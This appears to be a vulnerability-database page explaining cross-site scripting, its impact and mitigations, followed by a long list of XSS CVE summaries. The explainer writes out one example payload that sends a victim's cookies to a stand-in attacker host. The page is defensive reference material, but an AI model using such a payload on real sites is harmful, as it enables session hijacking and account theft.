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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Reflected Cross-site scripting (XSS) vulnerability in Yii Framework before 2.0.11, when development mode is used, allows remote attackers to inject arbitrary web script or HTML via crafted request. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Yii
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Classic-UI with the CSV export link and pagination feature in Icinga before 1.14 allows remote attackers to inject arbitrary web script or HTML via the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Icinga Leap
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in MetInfo 5.3.15 allows remote authenticated users to inject arbitrary web script or HTML via the name_2 parameter to admin/column/delete.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Metinfo
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in Cherry Music before 0.36.0 allows remote authenticated users to inject arbitrary web script or HTML via the playlistname field when creating a new playlist. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Cherrymusic
NVD GitHub
EPSS 0% CVSS 8.8
HIGH This Week

Subrion CMS 4.0.5 has CSRF in admin/blog/add/. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF Subrion Cms
NVD
EPSS 0% CVSS 8.8
HIGH This Week

Subrion CMS 4.0.5 has CSRF in admin/blocks/add/. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF Subrion Cms
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Symphony 2.6.9 has XSS in publish/notes/edit/##/saved/ via the bottom form field. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Symphony
NVD
EPSS 0% CVSS 8.8
HIGH This Week

Subrion CMS 4.0.5 has CSRF in admin/languages/edit/1/. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF Subrion Cms
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

dotCMS 3.7.0 has XSS reachable from ext/languages_manager/edit_language in portal/layout via the bottom two form fields. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Dotcms
NVD
EPSS 0% CVSS 8.8
HIGH This Week

Subrion CMS 4.0.5.10 has CSRF in admin/blog/add/. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF Subrion Cms
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In Moodle 3.x, XSS can occur via attachments to evidence of prior learning. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In Moodle 3.x, XSS can occur via evidence of prior learning. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

XSS exists in the CMS Made Simple (CMSMS) 2.1.6 "Content-->News-->Add Article" feature via the m1_content parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cms Made Simple
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

XSS exists in the CMS Made Simple (CMSMS) 2.1.6 "Content-->News-->Add Article" feature via the m1_summary parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cms Made Simple
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

XSS exists in the CMS Made Simple (CMSMS) 2.1.6 "Content-->News-->Add Article" feature via the m1_title parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cms Made Simple
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A Cross-Site Scripting (XSS) was discovered in pi-engine/pi 2.5.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Pi
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A Cross-Site Scripting (XSS) was discovered in Gazelle before 2017-03-19. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Gazelle
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Multiple Cross-Site Scripting (XSS) were discovered in Gazelle before 2017-03-19. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Gazelle
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A Cross-Site Scripting (XSS) was discovered in Gazelle before 2017-03-19. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Gazelle
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Multiple Cross-Site Scripting (XSS) were discovered in Gazelle before 2017-03-19. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Gazelle
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Multiple cross-site scripting (XSS) vulnerabilities in the Management Console in Alcatel-Lucent Motive Home Device Manager (HDM) before 4.2 allow remote attackers to inject arbitrary web script or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Motive Home Device Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in MediaWiki before 1.23.12, 1.24.x before 1.24.5, 1.25.x before 1.25.4, and 1.26.x before 1.26.1, when is configured with a relative URL, allows remote. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Mediawiki
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Multiple Cross-Site Scripting (XSS) were discovered in admin/modules components in SLiMS 7 Cendana through 2017-03-23: the keywords parameter to bibliography/checkout_item.php,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Slims7 Cendana
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected XSS vulnerability exists in the web console of the Document Viewer Agent in Novell GroupWise before 2014 R2 Support Pack 1 Hot Patch 2 that may enable a remote attacker to execute. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Groupwise
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Multiple components of the web tools in NetIQ Access Manager 4.1 before 4.1.2 Hot Fix 1 and 4.2 before 4.2.2 were vulnerable to Reflected Cross Site Scripting attacks which could be used to hijack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Access Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An unfiltered finalizer target URL in the SAML processing feature in Identity Server in NetIQ Access Manager 4.1 before 4.1.2 HF1 and 4.2 before 4.2.2 could be used to trigger XSS and leak. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Access Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

In the Kunena extension 5.0.2 through 5.0.4 for Joomla!, the forum message subject (aka topic subject) accepts JavaScript, leading to XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Kunena
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A cross-site scripting (XSS) vulnerability in MantisBT before 2.1.1 allows remote attackers to inject arbitrary HTML or JavaScript (if MantisBT's CSP settings permit it) by modifying 'window_title'. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS PHP Mantisbt
NVD GitHub
EPSS 0% CVSS 8.8
HIGH This Week

CSRF exists on D-Link DIR-600M Rev. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS CSRF D-Link +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross site scripting in some view elements in the index filter tool in app/webroot/js/misp2.4.68.js and the organisation landing page in app/View/Organisations/ajax/landingpage.ctp of MISP before. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Misp
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Cross-Site Scripting (XSS) was discovered in GamePanelX-V3 3.0.12. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Gamepanelx V3
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

A Cross-Site Scripting (XSS) was discovered in imdbphp 5.1.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Imdbphp
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A Cross-Site Scripting (XSS) was discovered in ZoneMinder before 1.30.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Zoneminder
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Multiple Cross-Site Scripting (XSS) were discovered in SLiMS 7 Cendana before 2017-03-16. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Slims7 Cendana
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in Junos Space before 15.2R2 allows remote attackers to steal sensitive information or perform certain administrative actions. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Juniper Junos Space
NVD
EPSS 3% CVSS 7.1
HIGH POC PATCH This Week

The code in Apache Tomcat 9.0.0.M1 to 9.0.0.M11, 8.5.0 to 8.5.6, 8.0.0.RC1 to 8.0.38, 7.0.0 to 7.0.72, and 6.0.0 to 6.0.47 that parsed the HTTP request line permitted invalid characters. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Tomcat Apache
NVD Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Content Navigator 2.0.3 and 3.0.0 are vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Content Navigator
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Rhapsody DM 4.0, 5.0, and 6.0 is vulnerable to HTML injection. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Rational Rhapsody Design Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Rhapsody DM 4.0, 5.0, and 6.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Rational Rhapsody Design Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross-Site Scripting (XSS) in "/sitecore/client/Applications/List Manager/Taskpages/Contact list" in Sitecore Experience Platform 8.1 rev. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Experience Platform
NVD Exploit-DB
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability in the web framework of Cisco Unified Communications Manager (CallManager) could allow an authenticated, remote attacker to perform a cross-site scripting (XSS) attack. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Unified Communications Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) filter bypass vulnerability in the web-based management interface of Cisco Unified Communications Manager could allow an unauthenticated, remote attacker to conduct XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Unified Communications Manager
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco UCS Director could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Unified Computing System Director
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability in the web framework code of Cisco Prime Service Catalog could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against the user of the web. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Prime Service Catalog
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Multiple cross-site scripting (XSS) vulnerabilities in qdPM 8.3 allow remote attackers to inject arbitrary web script or HTML via the (1) search[keywords] parameter to index.php/users page; the (2). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Qdpm
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in TinyMCE in Pluck CMS 4.7.2 allows remote authenticated users to inject arbitrary web script or HTML via the "edit HTML source" option. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pluck
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in Wonder CMS 2014 allows remote attackers to inject arbitrary web script or HTML. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wondercms
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

An XSS vulnerability in the MantisBT Source Integration Plugin (before 2.0.2) search result page allows an attacker to inject arbitrary HTML or JavaScript (if MantisBT's CSP settings permit it) by. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Source Integration
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in Microsoft Exchange Outlook Web Access (OWA) allows remote attackers to inject arbitrary web script or HTML via a crafted email or chat client, aka. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Microsoft Exchange Server
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

Microsoft SharePoint Server fails to sanitize crafted web requests, allowing remote attackers to run cross-script in local security context, aka "Microsoft SharePoint XSS Vulnerability.". Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Sharepoint Foundation
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Microsoft Internet Information Server (IIS) in Windows Vista SP2; Windows Server 2008 SP2 and R2; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; Windows 10 Gold, 1511,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Windows 10 +7
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

The RegEx class in the XSS filter in Microsoft Edge allows remote attackers to conduct cross-site scripting (XSS) attacks and obtain sensitive information via unspecified vectors, aka "Microsoft Edge. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Microsoft Information Disclosure +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in includes/admin/pages/manage.php in the Connections Business Directory plugin before 8.5.9 for WordPress allows remote attackers to inject arbitrary web. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 1% CVSS 4.7
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the help component of SAP BusinessObjects Financial Consolidation 10.0.0.1933 allows remote attackers to inject arbitrary web script or HTML via a GET. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS SAP Businessobjects Financial Consolidation
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site scripting (XSS) vulnerability in jQuery UI before 1.12.0 might allow remote attackers to inject arbitrary web script or HTML via the closeText parameter of the dialog function. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Jquery Ui Application Express +11
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in EPSON TMNet WebConfig 1.00 allows remote attackers to inject arbitrary web script or HTML via the W_AD1 parameter to Forms/oadmin_1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tmnet Webconfig
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the nav_path function in lib/viewvc.py in ViewVC before 1.0.14 and 1.1.x before 1.1.26 allows remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Debian Linux Leap +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-site scripting (XSS) vulnerability in the Management Web Interface in Palo Alto Networks PAN-OS 5.1, 6.x before 6.1.16, 7.0.x before 7.0.13, and 7.1.x before 7.1.8 allows remote authenticated. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Paloalto Pan Os
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

An issue was discovered in Shimmie <= 2.5.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Shimmie
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

An issue was discovered in concrete5 <= 5.6.3.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Concrete5
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

An issue was discovered in Open.GL before 2017-03-13. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Open Gl
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

An issue was discovered in SiberianCMS before 4.10.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Siberiancms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

An issue was discovered in concrete5 <= 5.6.3.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Concrete5
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in attributes in Intel Security VirusScan Enterprise Linux (VSEL) 2.0.3 (and earlier) allows unauthenticated remote attackers to inject arbitrary web script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Intel Virusscan Enterprise
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting vulnerability in Intel Security McAfee Endpoint Security (ENS) Web Control before 10.2.0.408.10 allows attackers to inject arbitrary web script or HTML via a crafted web site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Intel Endpoint Security Web Control
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in SVG file handling in Lutim 0.7.1 and earlier allows remote attackers to inject arbitrary web script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Lutim
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in lg.cgi in Cougar LG 1.9 allows remote attackers to inject arbitrary web script or HTML via the "addr" parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Lg
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

mod_auth_mellon before 0.13.1 is vulnerable to a Cross-Site Session Transfer attack, where a user with access to one web site running on a server can copy their session cookie to a different web site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mod Auth Mellon
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

An issue was discovered in Zammad before 1.0.4, 1.1.x before 1.1.3, and 1.2.x before 1.2.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zammad
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

An XSS issue was discovered in Zammad before 1.0.4, 1.1.x before 1.1.3, and 1.2.x before 1.2.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zammad
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

rcube_utils.php in Roundcube before 1.1.8 and 1.2.x before 1.2.4 is susceptible to a cross-site scripting vulnerability via a crafted Cascading Style Sheets (CSS) token sequence within an SVG element. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Webmail
NVD GitHub
EPSS 9% CVSS 6.1
MEDIUM PATCH This Month

In WordPress before 4.7.3 (wp-admin/js/tags-box.js), there is cross-site scripting (XSS) via taxonomy term names. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS WordPress
NVD GitHub
EPSS 6% CVSS 5.4
MEDIUM PATCH This Month

In WordPress before 4.7.3 (wp-includes/embed.php), there is authenticated Cross-Site Scripting (XSS) in YouTube URL Embeds. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS WordPress PHP +1
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC PATCH This Month

In WordPress before 4.7.3, there is authenticated Cross-Site Scripting (XSS) via Media File Metadata. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress PHP +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

paintballrefjosh/MaNGOSWebV4 4.0.8 is vulnerable to a reflected XSS in inc/admin/template_files/admin.vote.php (id parameter). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Mangoswebv4
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

paintballrefjosh/MaNGOSWebV4 4.0.8 is vulnerable to a reflected XSS in inc/admin/template_files/admin.shop.php (id parameter). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Mangoswebv4
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

paintballrefjosh/MaNGOSWebV4 4.0.8 is vulnerable to a reflected XSS in inc/admin/template_files/admin.fplinks.php (linkid parameter). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Mangoswebv4
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

paintballrefjosh/MaNGOSWebV4 4.0.8 is vulnerable to a reflected XSS in inc/admin/template_files/admin.donate.php (id parameter). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Mangoswebv4
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

paintballrefjosh/MaNGOSWebV4 4.0.8 is vulnerable to a reflected XSS in inc/admin/template_files/admin.faq.php (id parameter). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Mangoswebv4
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

A cross-site scripting (XSS) vulnerability in view_filters_page.php in MantisBT before 2.2.1 allows remote attackers to inject arbitrary JavaScript via the 'view_type' parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Mantisbt
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

A cross-site scripting (XSS) vulnerability in bug_change_status_page.php in MantisBT before 1.3.7 and 2.x before 2.2.1 allows remote attackers to inject arbitrary JavaScript via the 'action_type'. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Mantisbt
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

